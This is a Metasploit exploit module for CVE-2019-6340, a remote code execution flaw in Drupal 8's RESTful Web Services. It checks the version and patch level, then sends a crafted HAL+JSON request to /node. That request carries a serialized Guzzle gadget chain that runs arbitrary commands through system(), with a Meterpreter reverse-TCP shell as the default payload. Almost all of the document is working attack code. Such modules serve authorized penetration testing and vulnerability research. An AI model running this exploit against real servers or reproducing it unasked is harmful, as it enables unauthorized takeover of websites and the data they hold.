Drupal RESTful Web Services unserialize() Remote Code Execution

##
# This module requires Metasploit: https://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##

class MetasploitModule < Msf::Exploit::Remote

  # NOTE: All (four) Web Services modules need to be enabled
  Rank = NormalRanking

  include Msf::Exploit::Remote::HTTP::Drupal

  def initialize(info = {})
    super(update_info(info,
      'Name'               => 'Drupal RESTful Web Services unserialize() RCE',
      'Description'        => %q{
        This module exploits a PHP unserialize() vulnerability in Drupal RESTful
        Web Services by sending a crafted request to the /node REST endpoint.

        As per SA-CORE-2019-003, the initial remediation was to disable POST,
        PATCH, and PUT, but Ambionics discovered that GET was also vulnerable
        (albeit cached). Cached nodes can be exploited only once.

        Drupal updated SA-CORE-2019-003 with PSA-2019-02-22 to notify users of
        this alternate vector.

        Drupal < 8.5.11 and < 8.6.10 are vulnerable.
      },
      'Author'             => [
        'Jasper Mattsson', # Discovery
        'Charles Fol',     # PoC
        'Rotem Reiss',     # Module
        'wvu'              # Module
      ],
      'References'         => [
        ['CVE', '2019-6340'],
        ['URL', 'https://www.drupal.org/sa-core-2019-003'],
        ['URL', 'https://www.drupal.org/psa-2019-02-22'],
        ['URL', 'https://www.ambionics.io/blog/drupal8-rce'],
        ['URL', 'https://github.com/ambionics/phpggc'],
        ['URL', 'https://twitter.com/jcran/status/1099206271901798400']
      ],
      'DisclosureDate'     => '2019-02-20',
      'License'            => MSF_LICENSE,
      'Platform'           => ['php', 'unix'],
      'Arch'               => [ARCH_PHP, ARCH_CMD],
      'Privileged'         => false,
      'Targets'            => [
        ['PHP In-Memory',
          'Platform'       => 'php',
          'Arch'           => ARCH_PHP,
          'Type'           => :php_memory,
          'Payload'        => {'BadChars' => "'"},
          'DefaultOptions' => {
            'PAYLOAD'      => 'php/meterpreter/reverse_tcp'
          }
        ],
        ['Unix In-Memory',
          'Platform'       => 'unix',
          'Arch'           => ARCH_CMD,
          'Type'           => :unix_memory,
          'DefaultOptions' => {
            'PAYLOAD'      => 'cmd/unix/generic',
            'CMD'          => 'id'
          }
        ]
      ],
      'DefaultTarget'      => 0,
      'Notes'              => {
        'Stability'        => [CRASH_SAFE],
        'SideEffects'      => [IOC_IN_LOGS],
        'Reliablity'       => [UNRELIABLE_SESSION], # When using the GET method
        'AKA'              => ['SA-CORE-2019-003']
      }
    ))

    register_options([
      OptEnum.new('METHOD', [true, 'HTTP method to use', 'POST',
                            ['GET', 'POST', 'PATCH', 'PUT']]),
      OptInt.new('NODE',    [false, 'Node ID to target with GET method', 1])
    ])

    register_advanced_options([
      OptBool.new('ForceExploit', [false, 'Override check result', false])
    ])
  end

  def check
    checkcode = CheckCode::Unknown

    version = drupal_version

    unless version
      vprint_error('Could not determine Drupal version')
      return checkcode
    end

    if version.to_s !~ /^8\b/
      vprint_error("Drupal #{version} is not supported")
      return CheckCode::Safe
    end

    vprint_status("Drupal #{version} targeted at #{full_uri}")
    checkcode = CheckCode::Detected

    changelog = drupal_changelog(version)

    unless changelog
      vprint_error('Could not determine Drupal patch level')
      return checkcode
    end

    case drupal_patch(changelog, 'SA-CORE-2019-003')
    when nil
      vprint_warning('CHANGELOG.txt no longer contains patch level')
    when true
      vprint_warning('Drupal appears patched in CHANGELOG.txt')
      checkcode = CheckCode::Safe
    when false
      vprint_good('Drupal appears unpatched in CHANGELOG.txt')
      checkcode = CheckCode::Appears
    end

    # Any further with GET and we risk caching the targeted node
    return checkcode if meth == 'GET'

    # NOTE: Exploiting the vuln will move us from "Safe" to Vulnerable
    token = Rex::Text.rand_text_alphanumeric(8..42)
    res   = execute_command("echo #{token}")

    return checkcode unless res

    if res.body.include?(token)
      vprint_good('Drupal is vulnerable to code execution')
      checkcode = CheckCode::Vulnerable
    end

    checkcode
  end

  def exploit
    if [CheckCode::Safe, CheckCode::Unknown].include?(check)
      if datastore['ForceExploit']
        print_warning('ForceExploit set! Exploiting anyway!')
      else
        fail_with(Failure::NotVulnerable, 'Set ForceExploit to override')
      end
    end

    if datastore['PAYLOAD'] == 'cmd/unix/generic'
      print_warning('Enabling DUMP_OUTPUT for cmd/unix/generic')
      # XXX: Naughty datastore modification
      datastore['DUMP_OUTPUT'] = true
    end

    case target['Type']
    when :php_memory
      # XXX: This will spawn a *very* obvious process
      execute_command("php -r '#{payload.encoded}'")
    when :unix_memory
      execute_command(payload.encoded)
    end
  end

  def execute_command(cmd, opts = {})
    vprint_status("Executing with system(): #{cmd}")

    # https://en.wikipedia.org/wiki/Hypertext_Application_Language
    hal_json = JSON.pretty_generate(
      'link'      => [
        'value'   => 'link',
        'options' => phpggc_payload(cmd)
      ],
      '_links'    => {
        'type'    => {
          'href'  => vhost_uri
        }
      }
    )

    print_status("Sending #{meth} to #{node_uri} with link #{vhost_uri}")

    res = send_request_cgi({
      'method'   => meth,
      'uri'      => node_uri,
      'ctype'    => 'application/hal+json',
      'vars_get' => {'_format' => 'hal_json'},
      'data'     => hal_json
    }, 3.5)

    return unless res

    case res.code
    # 401 isn't actually a failure when using the POST method
    when 200, 401
      print_line(res.body) if datastore['DUMP_OUTPUT']
      if meth == 'GET'
        print_warning('If you did not get code execution, try a new node ID')
      end
    when 404
      print_error("#{node_uri} not found")
    when 405
      print_error("#{meth} method not allowed")
    when 422
      print_error('VHOST may need to be set')
    when 406
      print_error('Web Services may not be enabled')
    else
      print_error("Unexpected reply: #{res.inspect}")
    end

    res
  end

  # phpggc Guzzle/RCE1 system id
  def phpggc_payload(cmd)
    (
      # http://www.phpinternalsbook.com/classes_objects/serialization.html
      <<~EOF
        O:24:"GuzzleHttp\\Psr7\\FnStream":2:{
          s:33:"\u0000GuzzleHttp\\Psr7\\FnStream\u0000methods";a:1:{
            s:5:"close";a:2:{
              i:0;O:23:"GuzzleHttp\\HandlerStack":3:{
                s:32:"\u0000GuzzleHttp\\HandlerStack\u0000handler";
                  s:cmd_len:"cmd";
                s:30:"\u0000GuzzleHttp\\HandlerStack\u0000stack";
                  a:1:{i:0;a:1:{i:0;s:6:"system";}}
                s:31:"\u0000GuzzleHttp\\HandlerStack\u0000cached";
                  b:0;
              }
              i:1;s:7:"resolve";
            }
          }
          s:9:"_fn_close";a:2:{
            i:0;r:4;
            i:1;s:7:"resolve";
          }
        }
      EOF
    ).gsub(/\s+/, '').gsub('cmd_len', cmd.length.to_s).gsub('cmd', cmd)
  end

  def meth
    datastore['METHOD'] || 'POST'
  end

  def node
    datastore['NODE'] || 1
  end

  def node_uri
    if meth == 'GET'
      normalize_uri(target_uri.path, '/node', node)
    else
      normalize_uri(target_uri.path, '/node')
    end
  end

  def vhost_uri
    full_uri(
      normalize_uri(target_uri.path, '/rest/type/shortcut/default'),
      vhost_uri: true
    )
  end

end

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